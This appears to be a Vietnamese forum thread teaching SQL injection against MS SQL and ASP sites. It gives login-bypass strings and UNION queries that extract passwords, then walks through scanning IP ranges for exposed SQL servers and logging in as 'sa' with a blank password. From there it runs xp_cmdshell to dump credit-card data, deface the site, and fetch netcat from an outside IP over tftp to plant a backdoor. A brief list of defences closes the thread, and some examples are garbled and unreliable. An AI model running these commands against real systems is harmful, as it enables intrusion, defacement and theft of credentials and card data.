• If this is your first visit, be sure to check out the FAQ by clicking the link above. You may have to register before you can post: click the register link above to proceed. To start viewing messages, select the forum that you want to visit from the selection below.
Xin chào ! Nếu đây là lần đầu tiên bạn đến với diễn đàn, xin vui lòng danh ra một phút bấm vào đây để đăng kí và tham gia thảo luận cùng VnPro.

Announcement

Collapse
No announcement yet.

Khai thác lỗ hổng- Loạt bài tấn công Web và phòng thủ

Collapse
X
 
  • Filter
  • Time
  • Show
Clear All
new posts

  • Khai thác lỗ hổng- Loạt bài tấn công Web và phòng thủ

    SVTT: Hoàng Minh Tuấn

    2.7.3Khai thác lỗ hổng

    2.7.3.1 Một số lỗi thường gặp và một vài phương pháp tấn công phổ biến
    • Dùng cổng 80 HTTP

    • Tấn công vượt qua kiểm tra đăng nhập

    • Tấn công dựa trên chuỗi

    Như đã giới thiệu ở ví dụ trên, những bước ban đầu của SQL Injection sử dụng phương pháp này khi mà những người lập trình ứng dụng chưa để ý đến những lỗ hổng đến từ các câu truy vấn SQL.

    Sự phát hiện lỗi này cũng thật ngẫu nhiên, ban đầu, nếu sử dụng một câu truy vấn tìm thông tin về tác giả tên là Wiley thì câu truy vấn sẽ là:
    SELECT author,title,year FROM books WHERE publisher = ‘Wiley’

    Và khi tìm các thông tin về tác giả O’Henry, thì câu truy vấn sẽ là:
    SELECT author,title,year FROM books WHERE publisher = ‘ O’Henry’

    Thật ngẫu nhiên, câu truy vấn sẽ chỉ lấy kí tự O và xem Henry’ như là một câu truy vấn sai đến cơ sở dữ liệu và sẽ xuất ra lỗi là:
    Incorrect syntax near ‘Reilly’.
    Server: Msg 105, Level 15, State 1, Line 1
    Unclosed quotation mark before the character string ‘

    Chính điều này đã vô tình tạo nên những bước đầu cho phương pháp tấn công SQL Injection.

    Xét ví dụ:
    Nếu nhập vào
    Username: ' having 1=1 ---
    Password: [Anything]
    Thì câu SQL sẽ trở thành:
    select userName from users where userName='' having 1=1
    Và ngay lập tức , Ms.SQL báo lỗi và gửi trả về màn hình trang web:
    Microsoft OLE DB Provider for SQL Server (0x80040E14)
    Column 'users.userName' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.
    /login.asp, line 16
    Điểm mấu chốt ở đây là Ms.SQL đã để lộ 2 thông tin cho người dùng vô danh (ở đây đang thử khai thác lỗi SQL Injection) là tên của một Field và tên của Table mà chúng ta đang muốn xâm nhập, field "users.userName". Sử dụng tên có được này chúng ta dùng cú pháp LIKE :
    Username: ' or users.userName like 'a%' ---
    Password: [Anything]
    thì câu SQL sẽ trở thành:
    select userName from users where userName='' or
    users.userName like 'a%' --' and userPass=''
    Câu SQL này thu thập tất cả những users có Username bắt đầu là "a" và trong trường hợp này là admin
    • Tấn công dựa vào các con số

    Làm một phép toán đơn giản để tìm các giá trị bằng nhau so với con số gốc. Ví dụ, nếu giá trị gốc là 2 thì có thể thay thế bằng 1 + 1 hoặc 3 -1. Nếu như ứng dụng web trả lời với cùng một kết quả, nó có thể có lỗ hổng.

    Phương pháp kiểm tra trên là phương pháp đáng tin cậy nhất để kiểm tra các phản ứng của ứng dụng Web. Ví dụ, nếu ứng dụng sử dụng số cho tham số PageID để chỉ ra kết quả tìm kiếm được trả về, hãy thử phép toán 1+1 nếu nhận được kết quả trả về là 2 và nếu kết quả nhận được không thay đổi thì đó là một trong những dấu hiệu nhận biết Web site có thể đã bị nhiễm SQL Injection. Nếu như có thể thêm vào các kí tự bất thường mà các ứng dụng web vẫn không xuất ra các lỗi thì thao tác kiểm tra vừa rồi không cho thấy được sẽ có lỗ hổng trên hệ thống.
    Khi đã kiểm tra thành công, có thể dò tìm lỗi nhiều hơn bằng các hàm phức tạp hơn sử dụng cú pháp và các từ khóa của ngôn ngữ SQL. Một trong những phương pháp hay để thực hiện bước này là dùng các câu lệnh về ASCII, sẽ trả về số của các kí tự ASCII. Ví dụ, mã ASCII của A là 65 thì kết quả trong ngôn ngữ SQL sẽ bằng 2:
    67-ASCII(‘A’)
    Cách kiểm tra trên sẽ không thực hiện được nếu dấu nháy bị lọc bỏ đi, tuy nhiên trong trường hợp này có thể khai thác được lỗ hổng là cơ sở dữ liệu sẽ phải chuyển dữ liệu từ số sang dữ liệu chuỗi. Do mã của 1 trong ASCII là 49 nên kết quả của phép toán sau sẽ bằng 2 trong ngôn ngữ SQL:
    51-ASCII(1)
    Một lỗi phổ biến nữa khi lập trình ứng dụng là quên kiểm tra các kí tự đặc biệt và có ý nghĩa trong HTTP Request. Nếu sử dụng những kí tự này để tấn công, cần cẩn thận với việc mã hóa URL để đảm bảo rằng sẽ nhận được kết quả như ý muốn. Một số kí tự đặc biệt sau:
    & và = được dùng để nối tên/giá trị thành cặp để tạo thành chuỗi truy vấn và khối dữ liệu POST. Nên mã hóa bằng cách sử dụng %26 và %3d.
    Các khoảng trống không được cho phép trong câu truy vấn, và nếu được chấp nhận thì toàn bộ câu truy vấn sẽ vô nghĩa. Nên mã hóa bằng cách sử dụng + và %20.
    Kí tự + được dùng để mã hóa khoảng trắng, do đó, khi muốn sử dụng kí tự + trong chuỗi, thì cần phải mã hóa nó bằng %2b. Trong ví dụ trước, thì 1+1 sẽ được mã hóa thành 1%2b1.
    Dấu chấm phẩy được dùng để ngăn các trường cookie, và cần được mã hóa bằng cách sử dụng %3.
    Những cách mã hóa trên là rất cần thiết ngay cả khi chỉnh sửa tham số trực tiếp từ trình duyệt, với một proxy ngăn chặn, hoặc để đi xuyên qua các phương pháp ngăn chặn tấn công khác. Nếu mã hóa sai các kí tự đặc biệt, có thể không nhận được yêu cầu cần thiết hoặc nhận được một yêu cầu sai.

    • Tấn công sử dụng câu lệnh SELECT

    Sử dụng các lỗ hổng của lập trình, dùng câu lệnh SELECT để lấy các thông tin cần thiết từ cơ sở dữ liệu bị tấn công.

    Xét ví dụ về các câu truy vấn sau, tấn công để kiểm tra giá trị true hay false trong câu truy vấn sẽ sử dụng OR 17=17 để có giá trị luôn luôn là true và OR 17=37 để có giá trị false. Nếu câu truy vấn được xử lý thì câu truy vấn đó có thể được “tiêm” vào, giá trị true và false sẽ nhận được các kết quả trả lời khác nhau từ hệ thống. Điểm mấu chốt là $post_ID là một tham số tạo ran guy cơ. Câu truy vấn count ở dòng hai và ba phải đúng; câu truy vấn hạn chế lệnh SELECT tới mọi comments với comment_post_ID là 195 ( vế OR 17=37 sẽ trả về giá trị false, kết quả sẽ chuyển về 195). Ở câu truy vấn count thứ tư sẽ hay hơn, bởi vì câu lệnh SELECT sẽ được gọi cho tất cả comment vì 195 OR 17=17 sẽ đạt được giá trị true. Nói cách khác, câu truy vấn cuối cùng sẽ SELECT mọi comment có comment_post_ID là true, sẽ phù hợp với mọi comment( hoặc hầu hết các comment phụ thuộc vào sự hiện diện của giá trị NULL trong cơ sở dữ liệu). Các câu truy vấn lần lượt như sau:

    SELECT count(*) FROM comments WHERE comment_post_ID = $post_ID

    SELECT count (*) FROM comments WHERE comment_post_ID = 195

    SELECT count(*) FROM comments WHERE comment_post_ID = 195 OR 17=37

    SELECT count(*) FROM comments WHERE comment_post_ID = 195 OR 17=17

    SELECT count(*) FROM comments WHERE comment_post_ID = 1 +(SELECT 194)
    Bằng kĩ thuật tấn công time-delay, attacker tạo một câu truy vấn SQL lấy ra một bit thông tin tại một thời điểm. Kĩ thuật dựa trên thời gian có thể delay request trong 30 giây nếu bit đó là 1 và trả về ngay giá trị nếu bit đó là 0. Biểu thức Boolean và các biểu thức toán học thường ngầm hiểu một mệnh đề là true nếu như bit đó là 1, và false nếu bit đó là 0. Ví dụ dưới sẽ mô tả cụ thể hơn, số gạch dưới đại diện cho vị trí bit, đang được kiểm tra:

    SELECT 1 FROM 'a' & 1
    SELECT 2 FROM 'a' & 2
    SELECT 64 FROM 'a' & 64
    … AND 1 IN ( SELECT CONVERT(INT,SUBSTRING(password,1,1) & 1 FROM
    master.dbo.sysxlogins WHERE name LIKE 0x73006100)
    … AND 2 IN ( SELECT CONVERT(INT,SUBSTRING(password,1,1) & 2 FROM
    master.dbo.sysxlogins WHERE name LIKE 0x73006100)
    … AND 4 IN (SELECT ASCII(SUBSTRING(DB_NAME(0),1,1)) & 4)
    Công việc dò tìm bằng tay khá tẻ nhạt, do đó, cũng đã có một vài tool giúp phát hiện lỗi SQL Injection, một trong số đó là Sqlmap( http://sqlmap.sourceforge.net/)

    Sử dụng các thông báo lỗi của ODBC, lỗi này chỉ được thực hiện với IIS Server có sử dụng ASP. ASP hiện đang chiếm 35% các ứng dụng thương mại web. Xét ví dụ, tấn công trang:


    nhập vào sau đó câu truy vấn:
    http://www.nosecurity.com/mypage.asp?id=45 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES—

    thì cơ sở dữ liệu sẽ thông báo lỗi:
    Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'logintable' to a column of data type int. /mypage.asp, line

    Đây là một lỗ hổng bảo mật rất lớn, vì vô tình, cơ sở dữ liệu đã để lộ ra thông tin trong cơ sở dữ liệu đó là bảng logintable. Tiến hành dò với thông tin vừa có được bằng câu lệnh sau:
    http://www.nosecurity.com/mypage.asp?id=45 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='logintable'—

    sẽ xuất hiện thông báo lỗi:
    Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

    [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_name' to a column of data type int. /index.asp, line 5

    Thông tin về một bột có tên là login_name đã bị đưa ra. Kết hợp các kết quả thu được và tiến hành tìm kiếm tiếp
    http://www.nosecurity.com/mypage.asp?id=45 UNION SELECT TOP 1 login_name FROM logintable—

    thì thông báo lỗi sẽ là
    Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
    [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'Rahul' to a column of data type int. /index.asp, line 5

    Nhận được một ID có tên là Rahul
    http://www.nosecurity.com/mypage.asp?id=45 UNION SELECT TOP 1 password FROM logintable where login_name='Rahul'—

    tiếp tục dò tìm thì sẽ tìm được password của user Rahul
    [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'P455w0rd' to a column of data type int. /index.asp, line 5

    • Tấn công sử dụng câu lệnh INSERT

    Dùng để chèn thêm các data mới vào. Thường được sử dụng phổ biến khi một ứng dụng thêm vào một mục trong audit log, tạo user account mới, hoặc tạo hóa đơn mới. Attacker có thể từ đó tạo ra một user mới với quyền admin dễ dàng.
    Khi INSERT, có thể không biết có bao nhiêu tham số cần thiết, khi đó có thể mò từ từ.

    • Tấn công sử dụng câu lệnh UPDATE

    UPDATE được sử dụng để thay đổi thông tin trong cơ sở dữ liệu. Xét câu truy vấn dùng để thay đổi password sau:
    UPDATE users SET password=’newsecret’ WHERE user = ‘marcus’ and password = ‘secret’

    Câu truy vấn này xác nhận nếu password của user là đúng thì sẽ thay thế bằng một password mới. Nếu hàm UPDATE nhiễm SQL Injection thì attacker có thể vượt qua được giai đoạn kiểm tra mật khẩu và reset hoàn toàn password

    UPDATE users SET password=’newsecret’ WHERE user = ‘admin’ or 1=1

    • Tấn công sử dụng câu lệnh DELETE

    Dùng để xóa thông tin trong cơ sở dữ liệu. Ví dụ, xóa mặt hàng khỏi danh sách bán hàng hay xóa địa chỉ gửi hàng,…
    Hàm DELETE rất nguy hiểm, khi xóa phải những dữ liệu quan trọng trong cơ sở dữ liệu.

    • Dùng MS SQL cổng 1434

    Những người thiết kết MS SQL tạo ra một số thủ tục mặc định được lưu sẵn chung với sản phẩm của mình để giúp cho webdesigner linh động hơn. Các thủ tục này không có gì khác mà chính là các lớp hàm, được dùng để thực hiện những nhiệm vụ nào đó dựa trên các biến được truyền cho chúng. Chính những thủ tục này rất quan trọng đối với hacker, 1 số trong đó gồm:
    sp_passsword -> đổi password cho 1 tên truy cập (login name) nào đó
    VD: EXEC sp_password ‘oldpass’, ‘newpass’, ‘username’

    sp_tables -> hiển thị tất cả table trong database hiện tại
    VD: EXEC sp_tables

    xp_cmdshell -> cho phép chạy câu lệnh bất kỳ lền server với quyền admin của database ( cái này quan trọng nhất, vì thông thường database được cài mặc định với quyền root )

    xp_msver -> hiển thị version của SQL server và tất cả thông tin về HĐH được sử dụng.

    xp_regdeletekey -> xoá một key trong registry của windows
    xp_regdeletevalue -> xoá một giá trị trong registry
    xp_regread -> in 1 giá trị trong registry lên màn hình
    xp_regwrite -> gán 1 giá trị mới cho 1 key
    xp_terminate_process -> ngừng một process nào đó

    Đây là một số các lệnh quan trọng. Thật ra có hơn 50 loại thủ tục như thế. Nếu muốn database được an toàn thì điều nên làm là xoá tất cả những thủ tục đó đi bằng cách mở Master database dùng chương trình MS SQL Server Enterprise Manager. Mở folder Extended Stored Procedures và xoá các thủ tục lưu trong đó bằng cách nhấn chuột phải và chọn delete

    Lưu ý:"Master" là một database quan trọng của SQLchứa tất cả thông tin về hệ thống như là login name và các thủ tục có sẵn. Nếu 1 hacker xoá master database thì SQL server sẽ bị down vĩnh viễn. Ngoài "Master" db ra còn có "Syslogins" là table hệ thống mặc định chứ tất cả username và password để login vào db ( user của db khác user của ứng dụng web ). Điều nguy hiểm nhất trong MS SQL là MS SQL mặc định có một user là "sa" với password "" ( không có pass )

    Tiếp theo là cách hack db. Đầu tiên, cần tìm ra một server bị lỗi. Download một chương trình scan port và scan một dãy IP để tìm IP có port 1433 hoặc 1434 ( tcp hay udp ) mở. Đây là port dùng bởi MS SQL server. Ngoài ra port của Oracle server là 1512. VD như chúng ta tìm được một server có ip là 198.188.178.1, có rất nhiều cách để dùng các dịch vụ của SQL như là dùng telnet hoặc netcat tới port 1433/1434. Ngoài ra có thể dùng một tool tên là osql.exe được kèm theo với các SQL server 2000. Mở DOS prompt và type vào:
    C:>osql.exe -?
    osql: unknown option ?
    usage: osql [-U login id] [-P password]
    [-S server] [-H hostname] [-E trusted connection]
    [-d use database name] [-l login timeout] [-t query timeout]
    [-h headers] [-s colseparator] [-w columnwidth]
    [-a packetsize] [-e echo input] [-I Enable Quoted Identifiers]
    [-L list servers] [-c cmdend]
    [-q "cmdline query"] [-Q "cmdline query" and exit]
    [-n remove numbering] [-m errorlevel]
    [-r msgs to stderr] [-V severitylevel]
    [-i inputfile] [-o outputfile]
    [-p print statistics] [-b On error batch abort]
    [-O use Old ISQL behavior disables the following]
    <EOF> batch processing
    Auto console width scaling
    Wide messages
    default errorlevel is -1 vs 1
    [-? show syntax summary]
    Đây là help file cho osql. Tiếp tục:
    C:\> osql.exe –S 198.188.178.1 –U sa –P “”

    Nếu nhận được dấu nhắc
    1>
    có nghĩa là login thành công, nếu không sẽ có thông báo lỗi login sai đối với user "sa"

    Tới đây nếu muốn chạy bất kỳ câu lệnh nào đó lên server, chỉ cần dùng thủ tục "xp_cmdshell" như sau:
    C:\> osql.exe –S 198.188.178.1 –U sa –P “” –Q “exec master..xp_cmdshell ‘dir >dir.txt’”

    Ở đây, nên dùng -Q thay vì -q bởi vì chúng ta sẽ exit khỏi server ngay sau khi câu lệnh được thực hiện. Tương tự, có thể chạy bất cứ một câu lệnh nào lên server. Một hacker thông minh còn có thể install backdoor nhằm để tiếp tục access vào server sau này. Cũng có thể dùng “information_schema.tables” để lấy list các tables và nội dung của chúng bằng cách:
    C:\> osql.exe –S 198.188.178.1 –U sa –P “” –Q “select * from information_schema.tables”

    Kiếm thông tin login trong các table như login, accounts, users ...
    C:\> osql.exe –S 198.188.178.1 –U sa –P “” –Q “select * from users”

    và lấy thông tin về username cùng với credit card.
    C:\> osql.exe –S 198.188.178.1 –U sa –P “” –Q “select username, creditcard, expdate from users”

    Output:

    Username creditcard expdate
    ----------- ------------ ----------
    Jack 5935023473209871 2004-10-03 00:00:00.000
    Jill 5839203921948323 2004-07-02 00:00:00.000
    Micheal 5732009850338493 2004-08-07 00:00:00.000
    Ronak 5738203981300410 2004-03-02 00:00:00.000
    Có thể deface website bằng cách chạy lệnh sau ( chỉ trong trường hợp database server được install chung với webserver )

    C:\> osql.exe –S 198.188.178.1 –U sa –P “” –Q “exec master..xp_cmdshell ‘echo defaced by hack> C:\inetpub\wwwroot\index.html’”

    Upload file lên server dùng tftp:
    C:\> osql.exe –S 198.188.178.1 –U sa –P “” –Q “exec master..xp_cmdshell ‘tftp 203.192.16.12 GET nc.exe c:\nc.exe’”

    Để download một file nào đó, có thể dùng lệnh PUT thay vì GET, bởi vì các câu lệnh này sẽ được thực hiện trên server chứ không fải ở máy tấn công. Nếu ta dùng GET, câu lệnh sẽ thực hiện trên server và sẽ download nc.exe từ máy tấn công tới server.
    Last edited by lamvantu; 29-09-2011, 07:00 AM.
    Lâm Văn Tú
    Email :
    cntt08520610@gmail.com
    Viet Professionals Co. Ltd. (VnPro)
    149/1D Ung Văn Khiêm P25 Q.Bình thạnh TPHCM
    Tel: (08) 35124257 (5 lines)
    Fax (08) 35124314
    Tập tành bước đi....



  • #2
    còn nữa không bác Tú...thanks bác một phát.

    Comment


    • #3
      2.7.3.2 Một số phương pháp dò tìm lỗi SQL Injection
      Dùng từ điển các từ khóa dành cho lỗi SQL Injection có thể tìm được lỗi
      Bỏ các từ khóa vào khung tìm kiếm của google rồi tiến hành dò tìm lỗi trên các trang
      Kiểm tra website có bị lỗi SQL Injection hay không bằng cách vào address bar gõ vào các kí tự “nhạy cảm” trong ngôn ngữ SQL, ví dụ gõ dấu phẩy ( ‘ ), nếu trang web có phản hồi là bị lỗi và đưa ra rõ lỗi gì thì điều đó chứng tỏ lỗi SQL này chưa được người lập trình ứng dụng xử lý.
      Sau đó tiến hành khai thác lỗi bằng cách thử nhiều phương pháp khác nhau. Có thể dò bằng tay, dò ra các thông tin cần thiết như số trường, số cột, thông tin trường, thông tin cột,… hay có thể dùng các tool hỗ trợ.
      Tên của table có thể tìm được bằng cách mò tên của nó. Điều này dựa vào kinh nghiệm hoặc đôi khi là sự may mắn của attacker. Ví dụ những tên phổ biến cho table admin thường là admin, administrator, user, username, uname, tbl_admin,…
      2.7.4 Đề xuất các phương án phòng chống SQL Injection

      Đổi password mặc định của user "sa"
      Xoá tất cả các thủ tục được mặc định lưu trữ trên server
      Lọc những ký tự có thể gây hại như ',",--,: ... ngay từ khi nhận yêu cầu truy vấn từ bên ngoài
      Update SQL với những bản mới nhất
      Khoá các từ khóa nhạy cảm đối với SQL bằng cách dùng firewall chặn ngay từ đầu vào
      Mã hóa password
      Loại bỏ những từ khóa SELECT, DELETE, INSERT,… trong câu truy vấn từ bên ngoài.
      Lâm Văn Tú
      Email :
      cntt08520610@gmail.com
      Viet Professionals Co. Ltd. (VnPro)
      149/1D Ung Văn Khiêm P25 Q.Bình thạnh TPHCM
      Tel: (08) 35124257 (5 lines)
      Fax (08) 35124314
      Tập tành bước đi....


      Comment

      Working...
      X